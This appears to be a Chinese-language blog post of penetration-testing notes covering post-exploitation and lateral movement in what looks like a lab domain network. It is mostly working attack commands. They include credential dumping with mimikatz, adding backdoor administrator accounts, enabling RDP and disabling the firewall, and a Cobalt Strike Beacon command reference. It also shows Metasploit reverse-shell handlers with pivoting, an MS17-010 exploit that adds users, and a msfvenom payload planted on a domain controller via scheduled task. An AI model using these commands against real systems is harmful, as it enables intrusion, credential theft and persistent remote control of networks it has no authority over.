后渗透技巧-

查看域信息
net group /domain #查看域内所有用户列表
net group “domain computers” /domain #查看域成员计算机列表
net group “domain admins” /domain #查看域管理员用户

msf更新
apt-get update
apt-get install metasploit-framework
sudo gem install bundler
sudo gem update --system
sudo apt-get install libruby2.7 ruby2.7-dev ruby2.7
主机密码收集
logonpasswords
然后在凭据存储发现明文密码

利用蚁剑虚拟终端创建一个用户并将其加入到管理员组
添加用户:net user ddd 123456 /add
添加用户到管理员组:net localgroup Administrators ddd /add

查看端口被改
reg query “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v portnumber
然后开启3389端口就可以通过3389端口远程控制目标机了
注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭防火墙
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后

win+r 通过mstsc 远程桌面连接

BeaconCommands

Command Description

browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗

攻击msf配合cs
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.180
set lport 4444
exploit

添加路由
run post/multi/manage/autoroute
sysinfo 查看信息

靶机外网ip 192.168.0.107
两张网卡
内网ip 192.168.52.0/24网段有两台机子
现在需要把这个192.168.0.107当成跳板机渗透第二张网卡

设置代理
{
run autoroute
run autoroute -s
run post/multi/manage/autoroute
background
search socks_proxy
use 0
show options
set version 4a
run
}

jobs
route print (扫描内网ip段)
扫描内网机器
{
search nbname
use 0
show options
set rhosts 192.168.52.1-254
set threads 50
run
}
jobs
jobs -k 0
设置代理配置流量端口
{
search socks_proxy
use 0
set version 4a
show options
set srvport 1080
run
}

proxychains nmap -sT -Pn -T4 192.168.52.129

2008pc操作:
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command net user zlyhack zsjmzq123 /add #添加用户
run #成功执行
set command net localgroup administrators zlyhack /add #管理员权限
run #成功执行
set command ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’ //开启3389端口
run #成功执行

域控:
shell模式进入
chcp 65001换一下字体
net use \192.168.52.129\c$ “Zsjmzq@123” /user:“administrator”
dir \192.168.52.129\c$
将win7马共享给域控
copy c:\Windows\System32\shell.exe \192.168.52.129\c$

设置定时任务
schtasks /create /tn “test” /tr C:\shell.exe /sc once /st 22:14 /S 192.168.52.129 /RU System /u administrator /p “hongrisec@2019”

制作msf🐎
ip为in7ip端口一会监听时保存一致
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.128 lport=9999 -f exe -o shell.exe
设置

sessions -1
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost (win7ip)192.168.52.128
set lport 9999
run
监听端口获得shell
getuid确定域控

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值